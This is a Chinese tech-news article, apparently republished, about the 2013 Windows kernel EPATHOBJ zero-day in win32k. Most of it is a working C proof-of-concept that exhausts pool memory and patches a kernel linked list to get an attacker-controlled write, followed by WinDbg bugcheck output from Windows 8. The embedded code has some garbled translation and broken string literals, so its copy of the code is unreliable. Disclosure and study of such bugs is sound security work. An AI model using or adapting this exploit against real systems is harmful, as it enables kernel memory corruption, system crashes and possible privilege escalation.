作家
登录

Windows内核EPATHOBJ 0day漏洞

作者: 来源: 2013-07-02 11:55:52 阅读 我要评论

Windows内核EPATHOBJ 0day漏洞是通过对PATHALLOC()进行内存压力测试爆出的,首先利用PATHREC>指向相同的的用户空间PATHREC EPATHOBJ::bFlatten它会”自旋”进行无限链表遍历。

如:PathRecord->next = PathRecord;

虽然它会自旋,但它会通过另一个线程池来打补丁(pprFlattenRec)到列表中的节点(因为它是在用户空间)。

首先,创建一个”监控线程( watchdog)”,atomically补丁列表,因为pprFlattenRec过早退出,bug不能被利用会导致HeavyAllocPool

pprFlattenRec :.text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong) .text:BFA122BD cmp eax, 1 ; Check for failure .text:BFA122C0 jz short continue .text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit

所以要创建一个这样的节点列表:

PathRecord->Next = PathRecord;PathRecord->Flags = 0;

然后 EPATHOBJ::bFlatten()自旋:

BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this){    /* ... */    for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )    {      if ( ppr->flags & PD_BEZIER )      {        ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);      }    }    /* ... */}

可以先清掉另一个线程,然后再进行线程修复(因为在userspace是可以做到的)来触发该漏洞

/ / EPATHOBJ的:: bFlatten()

第一个pprFlattenRec代码块:

if ( pprNew->pprPrev )pprNew->pprPrev->pprnext = pprNew;写入 0xCCCCCCCC: DWORD WINAPI WatchdogThread(LPVOID Parameter){     ## 此程序超时会等待一个mutex对象,然后修补受损的链表指向一个漏洞。        LogMessage(L_INFO, Watchdog thread %u waiting>Mutex () %p”,                       GetCurrentThreadId(),                       Mutex);     if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {        ## 使主(main)线程无法调用FlattenPath(),        ## 因为内核EPATHOBJ::bFlatten()自旋可以被清理(clear).        ## 然后打补丁列表来触发我们的exploit.        while (NumRegion–)            DeleteObject(Regions[NumRegion]);         LogMessage(L_ERROR, InterlockedExchange(%p, %p);”, &PathRecord->next, &ExploitRecord);       InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);     } else {        LogMessage(L_ERROR, Mutex object did not timeout, list not patched”);    }     return 0;} PathRecord->next = PathRecord;PathRecord->prev = (PVOID)(0×42424242);PathRecord->flags = 0;ExploitRecord.next = NULL;ExploitRecord.prev = 0xCCCCCCCC;ExploitRecord.flags = PD_BEZIERS;

在Win 8下的输出:

kd> g********************************************************************************                                                                             **                        Bugcheck Analysis                                    **                                                                             ********************************************************************************Use !analyze -v to get detailed debugging information.BugCheck 50, {cccccccc, 1, 8f18972e, 2}*** WARNING: Unable to verify checksum for ComplexPath.exe*** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exeProbably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )Followup: MachineOwner---------nt!RtlpBreakWithStatusInstruction:810f46f4 cc              int     3kd> kvChildEBP RetAddr  Args to Child              a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])WARNING: Stack unwind information not available. Following frames may be wrong.0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])kd> .trap a03aba2cErrCode = 00000002eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nccs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286win32k!EPATHOBJ::pprFlattenRec+0x82:8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????kd> vertargetWindows 8 Kernel Version 9200 MP (1 procs) Free x86 compatibleProduct: WinNt, suite: TerminalServer SingleUserTSBuilt by: 9200.16581.x86fre.win8_gdr.130410-1505Machine Name:Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)System Uptime: 0 days 0:02:30.432kd> .bugcheckBugcheck code 00000050Arguments cccccccc 00000001 8f18972e 00000002

以下是示例代码POC:

#ifndef WIN32_NO_STATUS# define WIN32_NO_STATUS#endif#include <windows.h>#include <assert.h>#include <stdio.h>#include <stddef.h>#include <winnt.h>#ifdef WIN32_NO_STATUS# undef WIN32_NO_STATUS#endif#include <ntstatus.h>#pragma comment(lib, "gdi32")#pragma comment(lib, "kernel32")#pragma comment(lib, "user32")#define MAX_POLYPOINTS (8192 * 3)#define MAX_REGIONS 8192#define CYCLE_TIMEOUT 10000//// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.//// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013//POINT       Points[MAX_POLYPOINTS];BYTE        PointTypes[MAX_POLYPOINTS];HRGN        Regions[MAX_REGIONS];ULONG       NumRegion;HANDLE      Mutex;// Log levels.typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;BOOL LogMessage(LEVEL Level, PCHAR Format, ...);// Copied from winddi.h from the DDK#define PD_BEGINSUBPATH   0x00000001#define PD_ENDSUBPATH     0x00000002#define PD_RESETSTYLE     0x00000004#define PD_CLOSEFIGURE    0x00000008#define PD_BEZIERS        0x00000010typedef struct  _POINTFIX{    ULONG x;    ULONG y;} POINTFIX, *PPOINTFIX;// Approximated from reverse engineering.typedef struct _PATHRECORD {    struct _PATHRECORD *next;    struct _PATHRECORD *prev;    ULONG               flags;    ULONG               count;    POINTFIX            points[0];} PATHRECORD, *PPATHRECORD;PPATHRECORD PathRecord;PATHRECORD  ExploitRecord;DWORD WINAPI WatchdogThread(LPVOID Parameter){    // This routine waits for a mutex object to timeout, then patches the    // compromised linked list to point to an exploit. We need to do this.    LogMessage(L_INFO, "Watchdog thread %u waiting>,                       GetCurrentThreadId(),                       Mutex);    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {        // It looks like the main thread is stuck in a call to FlattenPath(),        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean        // up, and then patch the list to trigger our exploit.        while (NumRegion--)            DeleteObject(Regions[NumRegion]);        LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);        InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);    } else {        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");    }    return 0;}int main(int argc, char **argv){    HANDLE      Thread;    HDC         Device;    ULONG       Size;    HRGN        Buffer;    ULONG       PointNum;    ULONG       Count;    // Create our PATHRECORD in userspace we will get added to the EPATHOBJ    // pathrecord chain.    PathRecord = VirtualAlloc(NULL,                              sizeof(PATHRECORD),                              MEM_COMMIT | MEM_RESERVE,                              PAGE_EXECUTE_READWRITE);    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);    // Initialise with recognisable debugging values.    FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);    PathRecord->next    = PathRecord;    PathRecord->prev    = (PVOID)(0x42424242);    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要从EPATHOBJ::pprflattenRec()键入PD——BEZIERS,这样就可以触发无限循环。    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite    // loop in EPATHOBJ::bFlatten().    PathRecord->flags   = 0;    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);    ExploitRecord.next  = NULL;    ExploitRecord.prev  = 0xCCCCCCCC;    ExploitRecord.flags = PD_BEZIERS;    LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);    // Generate a large number of Bezier Curves made up of pointers to our    // PATHRECORD object.    for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;        PointTypes[PointNum]    = PT_BEZIERTO;    }    // Switch to a dedicated desktop so we don't spam the visible desktop with    // our Lines (Not required, just stops the screen from redrawing slowly).    SetThreadDesktop(CreateDesktop("DontPanic",                     NULL,                     NULL,                     0,                     GENERIC_ALL,                     NULL));    Mutex = CreateMutex(NULL, TRUE, NULL);    // Get a handle to this Desktop.    Device = GetDC(NULL);    // Spawn a thread to cleanup    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);    // We need to cause a specific AllocObject() to fail to trigger the    // exploitable condition. To do this, I create a large number of rounded    // rectangular regions until they start failing. I don't think it matters    // what you use to exhaust paged memory, there is probably a better way.    //    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle>    // failure. Seriously, do some damn QA Microsoft, wtf.    for (Size = 1 << 26; Size; Size >>= 1) {        while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))            NumRegion++;    }    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);    LogMessage(L_INFO, "Flattening curves...");    // Begin filling the free list with our points.    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {        BeginPath(Device);        PolyDraw(Device, Points, PointTypes, PointNum);        EndPath(Device);        FlattenPath(Device);        FlattenPath(Device);        EndPath(Device);    }    LogMessage(L_INFO, "No luck, cleaning up");    // If we reach here, we didn't trigger the condition. Let the other thread know.    ReleaseMutex(Mutex);    ReleaseDC(NULL, Device);    WaitForSingleObject(Thread, INFINITE);    return 0;}// A quick logging routine for debug messages.BOOL LogMessage(LEVEL Level, PCHAR Format, ...){    CHAR Buffer[1024] = {0};    va_list Args;    va_start(Args, Format);        vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);    va_end(Args);    switch (Level) {        case L_DEBUG: fprintf(stdout, "[?] %sn", Buffer); break;        case L_INFO:  fprintf(stdout, "[+] %sn", Buffer); break;        case L_WARN:  fprintf(stderr, "[*] %sn", Buffer); break;        case L_ERROR: fprintf(stderr, "[!] %sna", Buffer); break;    }    fflush(stdout);    fflush(stderr);    return TRUE;}

【编辑推荐】

  1. 用EMET防范0day漏洞溢出攻击

  推荐阅读

  Struts2再爆远程代码执行漏洞

摘要Apache官方的struts2产品,最近出了一个远程代码执行漏洞,编号“S2-013”,目前是0DAY,官方没有修补方案出现。http://struts.apache.org/development/2.x/docs/security-bulletins.html — (公>>>详细阅读


本文标题:Windows内核EPATHOBJ 0day漏洞

地址:http://www.17bianji.com/anquan/buding/33718.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)